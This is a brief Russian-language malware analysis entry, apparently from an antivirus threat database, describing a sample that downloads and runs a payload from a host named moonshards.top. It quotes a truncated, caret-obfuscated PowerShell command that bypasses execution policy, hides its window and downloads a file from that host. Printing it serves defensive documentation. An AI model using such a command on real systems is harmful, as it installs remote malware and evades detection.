Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOWeR^She^L^l.^eXe -^ex^EcU^T^iONpOLICy^ B^ypass -^nOP^rOFiL^e^ -W^INdow^StyL^e h^iDDEn (N^Ew-Obje^CT^ sys^TEM^.^n^eT^.^w^EBc^L^i^eNT).dOw^NLOad^F^il^E('http://moons...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOWeR^She^L^l.^eXe -^ex^EcU^T^iONpOLICy^ B^ypass -^nOP^rOFiL^e^ -W^INdow^StyL^e h^iDDEn (N^Ew-Obje^CT^ sys^TEM^.^n^eT^.^w^EBc^L^i^eNT).dOw^NLOad^F^il^E('http://moons...' (со скрытым окном)
